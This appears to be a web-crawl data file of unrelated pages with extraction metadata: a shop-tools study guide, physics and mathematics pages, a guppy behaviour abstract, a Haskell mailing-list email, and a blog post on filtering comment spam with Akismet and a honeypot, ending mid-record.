the smaller gear drives the larger gear, the speed of rotation will be reduced and the torque will increase. If the larger gear drives the smaller gear, the speed of rotation will increase and the torque will be reduced. ###### Gear Ratio The mechanical advantage (amount of change in speed or torque) of connected gears is proportional to the number of teeth each gear has. Called gear ratio, it's the ratio of the number of teeth on the larger gear to the number of teeth on the smaller gear. For example, a gear with 12 teeth connected to a gear with 9 teeth would have a gear ratio of 4:3. ### Applications ##### General ###### Force Lines of Action Collinear forces act along the same line of action, concurrent forces pass through a common point and coplanar forces act in a common plane. ###### Bridge Forms The six basic bridge forms are beam, truss, arch, cantilever, cable, and suspension. ###### Modulus of Elasticity The modulus of elasticity measures how much a material or structure will deflect under stress. Stretch modulus is longitudinal stretch (like stretching raw bread dough), shear modulus is longitudinal deflection (like the horizontal displacement of a stack of magzines when a heavy object is placed upon them), and bulk modulus is compression of volume (like the compression of a loaf of bread under a heavy can at the bottom of a grocery bag). ###### Ceramics Ceramics are mixtures of metallic and nonmetallic elements that withstand exteme thermal, chemical, and pressure environments. They have a high melting point, low corrosive action, and are chemically stable. Examples include rock, sand, clay, glass, brick, and porcelain. ###### Specific Gravity Specific gravity is the ratio of the density of equal volumes of a substance and water and is measured by a hyrdometer. Dead load is the weight of the building and materials, live load is additional weight due to occupancy or use, snow load is the weight of accumulated snow on a structure and wind load is the force of wind pressures against structure surfaces. A concentrated load acts on a relatively small area of a structure, a static uniformly distributed load doesn't create specific stress points or vary with time, a dynamic load varies with time or affects a structure that experiences a high degree of movement, an impact load is sudden and for a relatively short duration and a non-uniformly distributed load creates different stresses at different locations on a structure. # Shop Information • 62 Questions • 68 Flash Cards ### Hand Tools ##### Measuring Tools ###### Rulers Rulers are used to both measure distance and to draw straight lines. Tape measures are flexible rulers made from cloth or metal and are useful for measuring longer distances and in tighter spaces. Both rulers and tape measures provide similar accuracy, commonly down to $${1 \over 16}$$ or $${1 \over 32}$$ inch. A steel framing square is made up of a shorter ruler (tongue) and a longer ruler (blade) that meet at a 90° (right) angle. A framing square is often used by carpenters when framing stairs and roofs. ###### Micrometers Micrometers provide accuracy to the thousandths of an inch and come in outside and inside varieties. An outside micrometer is used to measure outside thickness, such as the diameter of a bolt, while an inside micrometer is used to measure the inside dimension of an object, such as the diameter of the hole of a nut or the width of a channel. ###### Calipers Calipers are similar to micrometers in shape but instead of measuring distances, calipers are used to transfer distances between objects. An outside caliper is used to transfer outside dimensions while an inside caliper is used to transfer inside distances. A vernier caliper is an extremely precise caliper (down to $${1 \over 1000}$$ inch) that allows measuring / transferring either inside or outside dimensions. ###### Levels Levels utlize a fluid-filled tube containing a bubble that is centered when the surface is horizontal (level) or vertical (plumb) along the direction of the tube. While a standard level can measure along a single dimension, a bullseye level is circular and can indicate the levelness of a two dimensional plane. ##### Striking Tools & Fasteners ###### Hammers The most common striking tool is the hammer and the most common variety of hammer is the claw hammer. The claw hammer has two ends, one to drive nails and one to remove nails. Ball-peen hammers replace the claw with a rounded end that's used to round off the edges of metal pins and make gaskets. A sledge hammer is a two-handed long-handled hammer with a large steel head used for heavy duty jobs. ###### Mallets A mallet is a hammer with a relatively large head, often made of rubber or wood. Both the size and material of the mallet head help prevent damage when striking more delicate surfaces. ###### Fasteners A nail is a short pin-shaped shaft of steel that's typically used to fasten pieces of wood together. It has a flat head on one end and a point on the other. A rivet consists of a cylindrical shaft with a head on one end and a tail on the other. When the rivet is installed, the tail is expanded and reshaped to form another head, creating a dumbell shape that will hold two surfaces together semi-permanently. ##### Chisels & Punches ###### Chisels A chisel has a long sharp edge and is used, often in conjunction with a hammer, for cutting. In woodworking, chisels are used to remove large sections of wood to create the initial shape of a design. In metalworking, chisels are used to remove waste metal when a smooth finish is not required. ###### Punches A punch is narrow and is used to drive objects like nails (pin punch) or for making guide marks for drilling (center punch) or patterns in wood or metal. ##### Turning Tools & Fasteners ###### Screwdrivers Screwdrivers come in many different handle, shaft, and tip configurations for use in a wide variety of applications. Screwdrivers are classified by their tip which is shaped to fit a corresponding screw head. Common tips are slotted (flat) and Phillips (x-shaped). ###### Wrenches Wrenches are used to provide grip and mechanical advantage by applying torque to turn objects (or to keep them from turning). The longer the wrench, the more torque that can be applied. Wrench ends are available in two primary types, open-end and box-end. A box-end wrench encloses the bolt head and is useful when more torque is needed or to maintain contact in difficult to reach locations. An open-end wrench is designed for speedily loosening easier to reach fasteners. Wrenches that feature one open and one box end are called combination wrenches and adjustable wrenches feature an open end with an adjustable width. ###### Ratchets A ratchet (or socket wrench) is a wrench that applies torque in only one direction with a handle that can be moved back and forth without losing contact with the fastener. A ratchet uses variable attachments called sockets which come in a variety of drive sizes based on the size of the opening that attaches to the ratchet. Sockets with the same drive size will vary in the shape (six-point, twelve-point) and size of the nut opening that attaches to the fastener being tightened or loosened. Smaller point sized sockets are stronger and can apply greater torque while larger point sizes allow easier alignment. ###### Fasteners Wrenches are used with threaded fasteners like bolts and nuts. A bolt has external threads while a nut has internal threads and this thread pattern combination allows them to lock together and act as fasteners. Nuts come in a variety of configurations including wing nuts which provide appendages that allow tightening and loosening by hand, slotted nuts that use a cotter pin to lock the nut in place and prevent it from loosening, and lock nuts that also prevent loosening via nylon in their threads. Threads are identified by pitch which is the number of threads per inch. ##### Gripping & Pincing Tools ###### Pliers Pliers are designed to provide a mechanical advantage, allowing the force of the hand's grip to be amplified and focused with precision. Pliers also allow finer control over objects that are too small to be manipulated by the fingers alone. The standard configuration is combination pliers which provide a fixed maximum jaw width. Other styles include adjustable joint pliers that allow selecting jaw width, needle nose pliers for holding small objects in tight spaces and locking pliers that will lock in place to hold or clamp objects together. ###### Pincers Pincers provide a mechanical advantage that's used to cut, pinch or pull an object. The force applied to pincers is concentrated to a point or to an edge of the tool which allows pincers to be brought very close to a surface. Pincers are typically used for removing objects from a material to which they've previously been applied, for example, to pull nails from wood. ###### Clamps A clamp applies pressure to prevent two objects from moving relative to each other, for example, to keep to pieces of wood together while the glue between the dries. A clamp is commonly made of metal and shaped like the letter C with a perpendicular flat-edged plate providing variable pressure between it and the top of the C as a screw to which it is attached is tightened and released. ###### Vises A vise is a clamp that is anchored to a work station and designed to hold material in place while it is being operated upon. ##### Soldering & Welding ###### Soldering Soldering is a low-temperature process by which two or more items (typically metal) are joined together by melting a filler metal (solder) into the joint. An electrically powered soldering iron or soldering gun is used to melt the solder which is an alloy of lead and tin that has a melting point below the melting point of the items being joined. A chemical cleaning agent called flux is also used to clean the surfaces before soldering. ###### Welding Welding is a high-temperature process that involves melting the base metals in the objects to be joined to fuse them together. A filler metal is used to provide additional material to make up a joint that, depending on the weld type, can be stronger than the base materials alone. Oxyacetylene welding is a welding process that uses a torch fueled with oxygen and acetylene gases. Electric-arc welding utlizes electric current in a safer welding process (it doesn't involve burning explosive gases) that enables a wide variety of specialized applications like stick, MIG (metal inert gas), and TIG (tungsten inert gas) welding. ##### Saws ###### Wood Saws Wood saws are categorized by their teeth shape and the number of teeth per inch (TPI). The higher the TPI of a saw the finer the cut it will make. Crosscut saws utilize knife-shaped teeth that cut across the grain of the wood while rip saws cut with the grain using chisel-shaped teeth that rip the wood cells apart as the cut is made. The kerf (slot) made by by a crosscut saw is much smoother than that made by a rip saw but a rip saw cuts much faster. Coping saws are a type of bow saw used to make detailed often curving cuts using replaceable blades with fine small teeth. ###### Hacksaw A hacksaw has replaceable blades and is used to cut metal. The blade type is chosen based on the material that is to be cut. Blades with larger numbers of teeth per inch are more appropriate for cutting thinner materials. ###### Miter Box A miter box utlizes a back saw (a fine toothed saw with a rigid strip of steel opposite its blade edge) to make cuts in wood at a specified angle. ##### Drills ###### Drilling Drilling is the process of making small holes in wood or metal while boring is the process of making larger holes. ###### Drill Bits Drill bits remove material to create holes. They come in a variety of sizes, maxing out at ¼" for woodworking and ½" for metalworking. The majority of drill bits are right-handed which means they cut while rotating in a clockwise direction. ###### Chucks Electric drills utilize a chuck to hold the drill bit. A chuck's size indicates the largest diameter drill bit that will fit. A chuck is tightened and loosened using a chuck key. ##### Finishing Tools ###### Planes In wooodworking, a plane is used to shave off a small amount of material to smooth a surface or make it fit properly. A jack plane is a general purpose plane that contains an adjustable depth blade set at an angle with a handle and knob to allow gripping when sliding the plane across wood. ###### Chisels Wood chisels are used to shape or smooth wood surfaces. They come in a variety of widths and can be used with hand power or tapped with a mallet when deeper cuts need to be made. ###### Files Files consist of diagonal rows of fine teeth and are used for fine finishing work to smooth, polish, or shape objects. Rasps are files with larger teeth that are used for coarse finishing work. Both files and rasps are designed to be inserted into detachable handles. ###### Routers A router is a tool that a worker uses to rout (hollow out), shape, or contour an area in relatively hard material like wood or plastic.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.43158942461013794, "perplexity": 1659.0064182666556}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-29/segments/1593657143354.77/warc/CC-MAIN-20200713064946-20200713094946-00008.warc.gz"}
http://farside.ph.utexas.edu/teaching/plasma/lectures/node43.html	Next: Plane Waves in a Up: Waves in Cold Plasmas Previous: Waves in Cold Plasmas # Introduction The cold-plasma equations describe waves, and other perturbations, which propagate through a plasma much faster than a typical thermal velocity. It is instructive to consider the relationship between the collective motions described by the cold-plasma model and the motions of individual particles that we studied in Sect. 2. The key observation is that in the cold-plasma model all particles (of a given species) at a given position effectively move with the same velocity. It follows that the fluid velocity is identical to the particle velocity, and is, therefore, governed by the same equations. However, the cold-plasma model goes beyond the single-particle description because it determines the electromagnetic fields self-consistently in terms of the charge and current densities generated by the motions of the constituent particles of the plasma. What role, if any, does the geometry of the plasma equilibrium play in determining the properties of plasma waves? Clearly, geometry plays a key role for modes whose wave-lengths are comparable to the dimensions of the plasma. However, we shall show that modes whose wave-lengths are much smaller than the plasma dimensions have properties which are, in a local sense, independent of the geometry. Thus, the local properties of small-wave-length oscillations are universal in nature. To investigate these properties, we may, to a first approximation, represent the plasma as a homogeneous equilibrium (corresponding to the limit , where is the magnitude of the wave-vector, and is the characteristic equilibrium length-scale). Next: Plane Waves in a Up: Waves in Cold Plasmas Previous: Waves in Cold Plasmas Richard Fitzpatrick 2011-03-31	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9595576524734497, "perplexity": 538.4985604207649}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-42/segments/1414119648008.18/warc/CC-MAIN-20141024030048-00010-ip-10-16-133-185.ec2.internal.warc.gz"}
https://www.woutervdbijl.com/publication/alberto_male_sexual_beh/	My caption 😄 # No association between brain size and male sexual behavior in the guppy ### Abstract Animal behavior is remarkably variable at all taxonomic levels. Over the last decades, research on animal behavior has focused on understanding ultimate processes. Yet, it has progressively become more evident that to fully understand behavioral variation, ultimate explanations need to be complemented with proximate ones. In particular, the mechanisms generating variation in sexual behavior remain an open question. Variation in aspects of brain morphology has been suggested as a plausible mechanism underlying this variation. However, our knowledge of this potential association is based almost exclusively on comparative analyses. Experimental studies are needed to establish causality and bridge the gap between microand macroevolutionary mechanisms concerning the link between brain and sexual behavior. We used male guppies that had been artificially selected for large or small relative brain size to study this association. We paired males with females and scored the full known set of male and female sexual behaviors described in guppies. We found several previously demonstrated associations between male traits, male behavior and female behavior. Females responded more strongly towards males that courted more and males with more orange coloration. Also, larger males and males with less conspicuous coloration attempted more coerced copulations. However, courting, frequency of coerced copulation attempts, total intensity of sexual behavior, and female response did not differ between largeand small-brained males. Our data suggest that relative brain size is an unlikely mechanism underlying variation in sexual behavior of the male guppy. We discuss these findings in the context of the conditions under which relative brain size might affect male sexual behavior. Type Publication In CurrZool. Date Links More detail can easily be written here using Markdown and $\rm \LaTeX$ math code.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.23810435831546783, "perplexity": 5046.386383488637}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-18/segments/1555578716619.97/warc/CC-MAIN-20190425094105-20190425120105-00538.warc.gz"}
http://mathoverflow.net/questions/155284/inequality-in-the-sobolev-space-h1/155308	# Inequality in the Sobolev space $H^1$ I've found the following inequality $$\int_{B_r}\vert u\vert^q\leq C \bigg(\int_{B_r}\vert\nabla u\vert^2\bigg)^{a}\bigg(\int_{B_r}\vert u\vert ^2\bigg)^{\frac{q}{2}-a}+\frac{c}{r^{2a}}\bigg(\int_{B_r}\vert u\vert ^2\bigg) ^{\frac{q}{2}}$$ for $u\in H^1(\mathbb{R}^3)$,$a=\frac{3}{4}(q-2)$ and $q\in [2,6]$. Some hints to prove it? I've started using interpolation and Sobolev's inequality $$\int_{B_r}\vert u\vert^q\leq \Vert u\Vert_{L^2}^{q(1-\theta)}\Vert u\Vert_{L^6}^{q \theta}\leq C \Vert u\Vert_{L^2}^{q(1-\theta)}\Vert u\Vert_{H^1}^{q\theta}$$ with $\theta=\frac{3}{2}\frac{q-2}{q}$. How can I go on? - Where or how did you find it? – Nate Eldredge Jan 21 '14 at 17:07 In a paper about Navier-Stokes equation. – user45822 Jan 21 '14 at 17:12 Prove it on a sphere of radius 1 and then rescale – Piero D'Ancona Jan 21 '14 at 20:45 Hint. For every $r>0$, and $q\le 6$, $$W^{1,2}(B_r)\subset L^6(B_r)\subset L^q(B_r),$$ due to Sobolev Imbedding Theorem. In particular, there is a $c>0$, such that $$\\|u\\|_{L^q(B_r)}^2 \le c_1 \big(\\|\nabla u\\|^2_{L^2(B_r)}+\\|u\\|^2_{L^2(B_r)}\big),$$ for all $u\in W^{1,2}(B_r)$.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9492632746696472, "perplexity": 283.59583494227144}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-48/segments/1448398464253.80/warc/CC-MAIN-20151124205424-00124-ip-10-71-132-137.ec2.internal.warc.gz"}
https://mail.haskell.org/pipermail/haskell-cafe/2012-November/104295.html	# [Haskell-cafe] [Agda] How to avoid T3 fonts in pdf generated with lhs2TeX? Dominique Devriese dominique.devriese at cs.kuleuven.be Thu Nov 1 23:15:53 CET 2012 Andreas, 2012/11/1 Andreas Abel <andreas.abel at ifi.lmu.de>: > Hello, > > maybe someone has experience in publishing papers that use lhs2TeX and > unicode characters with ACM, and has been in my situation before... > > Sheridan, who publishes for ACM, does not like T3 fonts. However, lhs2tex > --agda does make use of T3 fonts via: > > \RequirePackage[utf8x]{inputenc} > > If I remove this, my unicode characters are garbled in the lhs2tex-generated > code. Does anoyone know a smart workaround besides replacing all the unicode > characters manually by some math symbols in the .tex file? Not sure about all this, but perhaps you can try to use utf8 instead of utf8x and manually define translations for the unicode characters that you use,e.g.: \DeclareUnicodeCharacter{2032}{'} \DeclareUnicodeCharacter{2080}{_0} \DeclareUnicodeCharacter{2081}{_1} \DeclareUnicodeCharacter{2082}{_2} \DeclareUnicodeCharacter{2115}{\mathbb{N}} \DeclareUnicodeCharacter{2192}{\to} \DeclareUnicodeCharacter{2200}{\forall\,} Perhaps you can then somehow avoid translations that use T3 fonts (not sure what these are though). Note: the numbers are the characters' unicode hexadecimal representation (AFAIU), which you can find e.g. using emacs's describe-char. Dominique More information about the Haskell-Cafe mailing list	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9328104257583618, "perplexity": 12518.242828463855}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-35/segments/1440645359523.89/warc/CC-MAIN-20150827031559-00000-ip-10-171-96-226.ec2.internal.warc.gz"}
http://mikeboers.com/?tag=python	# Blog Archive Viewing page 1 of posts tagged "python" from September 07, 2014\ . # Catching Comment Spam in a Honeypot ## How a tempting target can reveal automated spammers. A couple years ago I wrote about using Akismet to catch spam. Since then, Akismet has successfully captured tens of thousands of spam comments to this site. However, since I'm not comfortable completely accepting the results from a Baysian filter, I've dutifully been stuffing them into my database. However, it is getting a little silly: $sqlite3 main.sqlite sqlite> SELECT is_spam, count(1) FROM blog_comments GROUP BY is_spam; 0\|30 1\|13656 Ouch. Lets clean that out and see what happens. $ cp main.sqlite bak.sqlite $sqlite3 main.sqlite sqlite> DELETE FROM blog_comments WHERE is_spam AND NOT visible; sqlite> vacuum; sqlite> .quit$ ls -lh -rw-rw---- 1 mikeboers mikeboers 19905536 Sep 7 16:35 bak.sqlite -rw-rw---- 1 mikeboers mikeboers 2811904 Sep 7 16:37 main.sqlite 17MB of my 20MB database was spam comments! In my first post I outlined the various methods of spam detection: manual auditing, captchas, honeypots, and contextual filtering (i.e. Akismet). Lets quickly add another one of these to exponentially increase our confidence.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.1862061470746994, "perplexity": 15233.110954066748}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-09/segments/1518891813818.15/warc/CC-MAIN-20180221222354-20180222002354-00244.warc.gz"}
https://www.physicsforums.com/threads/gradient-and-open-ball.113633/	# Gradient and open ball 1. Mar 9, 2006 ### eridanus Let f : Rn -> R. Suppose that grad(f(x)) = 0 for all x in some open ball B(a, r). Show that f is constant on B(a, r). [Hint: use part (a) to make this a problem about a function of one variable] part (a) is show that for any two points x, y in B there is a straight line starting at x and ending at y that is contained in B, which I got, but I don't understand what it has to do with anything. Isn't this just a property of the gradient? Any help would be greatly appreciated. 2. Mar 9, 2006 ### Galileo Well, try the one-variable case first. Suppose you have a differentiable function f:R->R and f'(x)=0 on some open interval (a,b). Show that f is constant on (a,b). Then, note that grad(f)(x)=0 are three equations and mix it with the result of part (a). 3. Mar 9, 2006 ### HallsofIvy If the gradient is 0 at every point, then the derivative along any line is 0. Similar Discussions: Gradient and open ball	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8723447322845459, "perplexity": 723.3305506970149}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-09/segments/1518891812293.35/warc/CC-MAIN-20180218232618-20180219012618-00509.warc.gz"}
http://export.arxiv.org/abs/2207.00954	math.NA (what is this?) # Title: The error bounds and perturbation bounds of the absolute value equations and some applications Abstract: In this paper, by introducing a class of absolute value functions, we study the error bounds and perturbation bounds of two types of absolute value equations (AVEs): Ax -B\|x\|= b and Ax -\|Bx\|= b. Some useful error bounds and perturbation bounds for the above two types of absolute value equations are presented. By applying the absolute value equations, we obtain some useful error bounds and perturbation bounds for the horizontal linear complementarity problem (HLCP). Incidentally, two new error bounds for linear complementarity problem (LCP) are given, coincidentally, which are equal to the existing result. Without constraint conditions, a new perturbation bound for the LCP is given as well. Besides, without limiting the matrix type, some computable estimates for the above upper bounds are given, which are sharper than some existing results under certain conditions. Some numerical examples for the AVEs from the LCP are given to show the feasibility of the perturbation bounds. Subjects: Numerical Analysis (math.NA) Cite as: arXiv:2207.00954 [math.NA] (or arXiv:2207.00954v1 [math.NA] for this version) ## Submission history From: Shi-Liang Wu [view email] [v1] Sun, 3 Jul 2022 04:35:14 GMT (20kb) Link back to: arXiv, form interface, contact.	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8802619576454163, "perplexity": 1633.9999874712207}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573849.97/warc/CC-MAIN-20220819222115-20220820012115-00796.warc.gz"}
http://math.stackexchange.com/questions/760939/how-to-weight-three-different-variables-to-create-a-ranking	# How to weight three different variables to create a ranking I have data on the graduation rate, tuition, and average student income (a measure of accessibility) for about 7,000 colleges and universities in the U.S., and I'm trying to compose an interactive in which people can manipulate the importance of these three variables to create a ranking. Users drag three sliders to emphasize or deemphasize the importance of the variables: I've standardized the variables through the usual means so that each value is the number of standard deviations from the mean. Each variable also has a weight assigned by the sliders, which add to 1. One user might give 50% weight to graduation rate and 25% to the other two; another might give 33% to all three, and so forth. My first instinct was to just multiply the weight by the standardized value and add them together for each school's score. But this seems to overly reward outliers in one area, when the goal is to surface schools that perform well over all. Graduation rate is negatively correlated with accessibility and positively correlated to cost, FWIW. Is there an accepted way to weight multivariate systems like this in a better way? - If $x_1,\ldots,x_n$ are the scores in $n$ categories assigned to some school, pick some $p$ from $(0,\infty)$ and compute the total score as $$\bar x = \left(\frac{1}{n}\sum_{k=1}^n \textrm{sgn}(x_k)\sqrt[p]{\|x_k\|} \right)^p \text{ where }\textrm{sgn}(x) = \begin{cases} -1 & \text{if x < 0} \\ 0 & \text{if x=0} \\ 1 &\text{if x > 0} \end{cases}$$ If If $x_1 = \ldots = x_n = x$, you always get $\bar x = (\frac{1}{n}n\,\textrm{sgn}(x)\sqrt[p\|]{\|x\|})^p = sgn(x)\,\|x\| = x$. The larger $p$ gets, the less do large scores in a single category influence the value. For example, if $x_1=x_2=0$, $x_3=x$, then $\bar x = \frac{x}{3^p}$. To incorporate weights into this, simply replace the $\frac{1}{n}\sum \ldots$ part, which simply averages the $p$-th roots of the $x_k$, by a weighted average. If your weights are $w_1,\ldots,w_n$, the weighted total score is $$\bar x = \left(\frac{1}{w}\sum_{k=1}^n w_k\textrm{sgn}(x_k)\sqrt[p]{\|x_k\|} \right)^p \text{ where w = w_1 + \ldots + w_k.}$$ You'll have to play with various values for $p$ to see which work well. Generally, if $p > 1$, values close to zero will influence the result more than values far away from zero. On the other hand, if $p < 1$, then large values will have more influence. In the limit $p \to 0$, $\bar x$ is the value furthest awa from zero, with the other values having no influence (i.e., the opposite of what you seem to want). So you'll want to only look at values $p > 1$. Note that the business with $\textrm{sgn}$ and the absolute value $\|x_k\|$ is only necessary if the scores can be negative. It simply works around the issue that $\sqrt[p]{x_k}$ isn't defined for negative $x_k$, so what we do is we take the $p$-th root of the absolute value $\|x_k\|$, and then add the original sign of $x_k$ back by multiplying with $\textrm{sgn}(x_k)$. - Consider the following. Assume that the first two of your variables are perfectly correlated and orthogonal to the third. If a user specifies $(1/3,1/3,/1/3)$ as their weights, then they are saying that the third category should count as $1/3$ of the total score REGARDLESS of how the first two categories may be correlated. Thus, correlation or anti-correlation doesn't really matter if you want to interpret the weights literally. If you want to start reinterpreting the weights on behalf of the user, e.g. when the first two categories are perfectly correlated then weights $(1/3,1/3,1/3)$ become $(1/2,1/2)$ where you eliminate one of the two correlated categories, then you can compute a diagonalization of the covariance matrix (which will give you an orthonormal basis), and use the diagonalization to redefine the weights in terms of the linear combinations of basis vectors that give you the orthonormal basis vectors (taking the weights on the diagonal matrix entries into account). Thus, if you diagonalized a matrix where two entries were perfectly correlated, you would get 2 eigen-vectors with non-zero eigen-values and these eigen-vectors would form the basis of your scoring system, where the two perfectly correlated variables were simply treated as one variable. -	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7329877614974976, "perplexity": 298.0677527110221}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": 